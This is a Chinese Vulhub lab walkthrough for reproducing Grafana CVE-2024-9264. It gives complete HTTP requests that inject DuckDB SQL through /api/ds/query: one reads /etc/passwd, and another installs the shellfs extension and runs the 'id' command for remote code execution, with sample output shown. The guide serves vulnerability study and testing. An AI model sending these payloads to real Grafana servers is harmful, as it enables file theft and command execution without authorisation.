Vulhub 如何复现 Grafana CVE-2024-9264 SQL Expressions 的文件读取与命令执行

发布时间:2026/9/14 17:30:13

Vulhub 如何复现 Grafana CVE-2024-9264 SQL Expressions 的文件读取与命令执行 Vulhub 如何复现 Grafana CVE-2024-9264 SQL Expressions 的文件读取与命令执行【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub在验证 Grafana 安全性或复现 CVE-2024-9264 时需要完成的目标是在一个带漏洞的 Grafana 环境中通过 SQL Expressions 的 API 接口/api/ds/query先实现服务器任意文件读取再实现远程命令执行并从响应中确认结果。Vulhub 提供了预装 DuckDB 的 Grafana v11.0.0 漏洞环境CVE-2024-9264 影响的版本为 11.0.0 至 11.0.5、11.1.0 至 11.1.6 以及 11.2.0 至 11.2.1整个复现只需要 Docker 与 Docker 自带的 compose 命令以及一个可访问目标端口的客户端。漏洞背景为什么这个 API 能被直接利用CVE-2024-9264 位于 Grafana 实验性的 SQL Expressions 功能中。该功能允许用 SQL 对数据源查询结果做后处理底层通过 DuckDB 引擎执行查询。由于输入校验不充分拥有 Viewer 及以上权限的用户可以注入任意 DuckDB SQL 语句进而实现任意文件读取和远程代码执行。虽然该功能被标记为实验性但 feature flag 实现存在缺陷导致它在 API 层面被默认启用扩大了攻击面。需要特别注意利用前提Grafana 进程的系统 PATH 中必须存在 DuckDB 可执行文件。Vulhub 的vulhub/grafana:11.0.0镜像已预装 DuckDB所以启动后即可满足该条件。漏洞存在于 API 接口/api/ds/query中可以直接发送 HTTP 请求触发无需在仪表盘 UI 上操作。准备条件环境要求来自项目根目录 README 与本漏洞目录的说明已安装 Docker可使用 Docker 自带的 compose 命令无需单独安装 docker-compose已获取 Vulhub 仓库git clone --depth 1 https://github.com/vulhub/vulhub建议在至少 1GB 内存的 VPS 或虚拟机上运行文档中的your-ip指你的主机/VPS IP不是 Docker 容器内部 IP确保 Docker 有权限访问当前目录下所有文件。进入漏洞环境目录cd vulhub/grafana/CVE-2024-9264该目录的 docker-compose.yml 只定义了一个服务services: grafana: image: vulhub/grafana:11.0.0 ports: - 3000:3000启动漏洞环境并确认服务可用在grafana/CVE-2024-9264目录下执行docker compose up -d启动成功后访问http://your-ip:3000即可看到 Grafana 登录页面使用默认账号admin:admin登录。能打开登录页并用默认凭据登录即说明环境就绪后续的 API 请求都以这个admin身份进行认证。第一步利用 read_blob 实现任意文件读取发送如下请求利用 DuckDB 的read_blob函数读取服务器上的/etc/passwd文件POST /api/ds/query?ds_type__expr__expressiontruerequestIdQ100 HTTP/1.1 Host: your-ip:3000 Accept: application/json Content-Type: application/json Authorization: Basic YWRtaW46YWRtaW4 { queries: [ { refId: A, datasource: { type: __expr__, uid: __expr__, name: Expression }, type: sql, expression: SELECT content FROM read_blob(/etc/passwd) } ], from: 1, to: 2 }说明Host中的your-ip替换为你的主机/VPS IP端口为 3000Authorization: Basic YWRtaW46YWRtaW4是文档中给出的admin:admin凭据的 Basic 认证头满足 Viewer 及以上权限的要求expression字段中注入的就是任意 DuckDB SQL这里用read_blob(/etc/passwd)读取目标文件。响应中返回/etc/passwd的文件内容即完成任意文件读取的验证上图为文档示例。第二步利用 shellfs 扩展实现远程代码执行在 Grafana v11.0.0 上可以利用 DuckDB 的shellfs社区扩展实现远程代码执行。该扩展允许通过 DuckDB 的read_csv函数配合 Unix 管道语法执行系统命令。通过在单个请求中使用多个带refId引用关系的 SQL 表达式查询可以在一次请求中完成扩展安装、命令执行和结果读取的整个利用链。发送如下请求执行id命令并获取输出POST /api/ds/query?ds_type__expr__expressiontruerequestIdQ100 HTTP/1.1 Host: your-ip:3000 Accept: application/json Content-Type: application/json Authorization: Basic YWRtaW46YWRtaW4 { queries: [ { refId: A, datasource: {type:__expr__,uid:__expr__,name:Expression}, type: sql, expression: SELECT 1;INSTALL shellfs FROM community }, { refId: B, datasource: {type:__expr__,uid:__expr__,name:Expression}, type: sql, expression: SELECT 1 FROM A ;LOAD shellfs;SELECT * FROM read_csv(id /tmp/rce_out 21 |, headerfalse) }, { refId: C, datasource: {type:__expr__,uid:__expr__,name:Expression}, type: sql, expression: SELECT b.content FROM A AS a, read_blob(/tmp/rce_out) AS b } ], from: 1, to: 2 }三个查询通过refId的引用关系保证执行顺序查询 A 执行INSTALL shellfs FROM community从社区源安装shellfs扩展因此环境需要能访问 DuckDB 社区扩展源查询 B 先SELECT 1 FROM A引用 A 以确保在扩展安装之后执行随后LOAD shellfs加载扩展并通过read_csv(id /tmp/rce_out 21 |, headerfalse)的 Unix 管道语法执行id命令把输出重定向到临时文件/tmp/rce_out查询 C 再用read_blob(/tmp/rce_out)从临时文件中读回命令输出。响应中将返回id命令的执行结果如uid472(grafana) gid0(root) groups0(root)文档示例输出证明已实现任意命令执行。清理环境与限制说明测试完成后在漏洞目录执行命令终止并删除容器与卷docker compose down -v以下是复现前必须了解的边界条件受影响的 Grafana 版本为 11.0.0 至 11.0.5、11.1.0 至 11.1.6、11.2.0 至 11.2.1本环境使用其中的 11.0.0文件读取与命令执行的前提是 Grafana 进程的 PATH 中存在 DuckDB 可执行文件Vulhub 镜像已预装利用请求需要具备 Viewer 及以上权限的认证身份文档中的请求使用的是默认账号admin:admin远程命令执行部分依赖shellfs社区扩展的在线安装文档明确该利用链在 Grafana v11.0.0 上可行所有 Vulhub 环境仅供测试与学习严禁用于生产环境。更多环境细节可参阅本漏洞目录的 README.zh-cn.md 与 docker-compose.yml。【免费下载链接】vulhubPre-Built Vulnerable Environments Based on Docker-Compose项目地址: https://gitcode.com/GitHub_Trending/vu/vulhub创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
延伸阅读

更多相关文章

2026/9/14 17:30:13

Zoom Team Chat 开发排障完全指南:常见问题诊断与解决方案

Zoom Team Chat 开发排障完全指南:常见问题诊断与解决方案 【免费下载链接】knowledge-work-plugins Open source repository of plugins primarily intended for knowledge workers to use in Claude Cowork 项目地址: https://gitcode.com/GitHub_Trending/kn/k…

2026/9/14 18:10:15

Python多线程为什么反而更慢?GIL原理与绕过方案全解析

“少熬三天夜”这个标题,写出来一点都不夸张。上上周末我在公司优化一个订单归并服务,单线程处理几十万条数据要跑四十多秒,领导嫌慢让我提效。我当时第一反应就是加线程,Python 多线程谁不会?一行ThreadPoolExecutor丢…

2026/9/14 18:10:15

小鹏汽车2025财报分析与预测模型搭建

1. 项目概述:为什么关注小鹏汽车2025财报? 作为国内造车新势力的代表企业之一,小鹏汽车(XPEV)的财务表现一直是行业风向标。2025年作为新能源汽车补贴完全退坡后的首个完整财年,其财报数据将直观反映企业在…

2026/9/14 18:10:15

OpenClaw开源AI助手框架部署与插件开发指南

1. OpenClaw项目概述OpenClaw是一个完全开源的多功能AI助手框架,它最吸引人的特点是提供了6000可扩展的技能插件。这个项目最初由腾讯云团队孵化,现在已经成为GitHub上最活跃的AI开源项目之一。我最近在本地环境完整部署了OpenClaw,实测下来它…

2026/9/14 18:10:15

Java使用Zookeeper实现微服务注册与发现

1. 项目概述在分布式系统中,服务注册与发现是微服务架构的核心组件之一。Zookeeper作为一个高可用的分布式协调服务,常被用作服务注册中心。本文将详细介绍如何使用Java操作Zookeeper实现完整的服务注册与发现方案,重点讲解Curator框架的使用…

2026/9/14 2:17:50

拯救者Y7000黑屏故障排查与维修实战指南

1. 项目概述:一台黑屏的拯救者Y7000,到底卡在哪一步? 联想拯救者Y7000系列笔记本,从2018年第一代搭载i5-8300H开始,到后来的i7-9750H、i7-10750H、i5-11400H,再到2023年款的R7-7840HS,它始终是学…

2026/9/14 0:03:22

KCF目标跟踪算法与OTB工程实现:毕业设计实战解析

简介:这是一份基于KCF核相关滤波算法、融合尺度池与抗遮挡处理的目标检测跟踪MATLAB完整源码,主要面向计算机相关专业准备毕业设计、课程设计或期末大作业的学生,也适合需要项目实战练习的初学者。源码在OTB数据集上完成验证,能够…

2026/9/14 0:03:22

语音情感识别实战:Keras实现LSTM、CNN、SVM与MLP多模型对比

简介:面向语音情感识别入门与进阶开发者,这份基于Keras的项目源码完整实现了LSTM、CNN、SVM、MLP四种模型,兼容Python3.8与Keras/TensorFlow2环境。压缩包内含49个文件,大小约70.31MB,主体包括Python脚本、yaml/json配…

2026/9/14 11:59:31

USB Type-C PCB布局分区设计:电源、高速信号与PD协议全攻略

做硬件这行,Type-C接口算是典型的“看着简单,做起来全坑”的东西。光引脚就24个,高低速信号、电源、控制线全部塞在一个小小的连接器里,如果PCB布局不做规划,打样回来基本就是“插上没反应”、“高速掉线”、“静电一打…

2026/9/14 13:53:59

系统编程学习原型如何补齐稳定性边界

系统编程学习原型如何补齐稳定性边界预算有限时&#xff0c;我先优化明显多余的复制&#xff0c;而不是猜测性地换容器。用借用传递只读数据通常就能减少分配&#xff1a; fn parse(line: &str) -> Result<Item, Error> { /* ... */ }用基准确认热点确实在分配&am…

2026/9/14 11:22:57

雨花区哪家财务公司代理记账比较好?

在雨花区&#xff0c;企业处理财税事务常常面临诸多挑战&#xff0c;选择一家靠谱的财务公司至关重要。湖南巨勤财务管理咨询有限公司就是本地正规实体财税服务机构&#xff0c;深耕本地工商财税行业多年&#xff0c;熟悉当地工商局、税务局最新政策与申报流程。主营公司注册、…

还想了解更多?直接咨询顾问

免费诊断 + 免费方案 + 透明报价。

全国咨询热线400-8866-253
免费获取方案
咨询二维码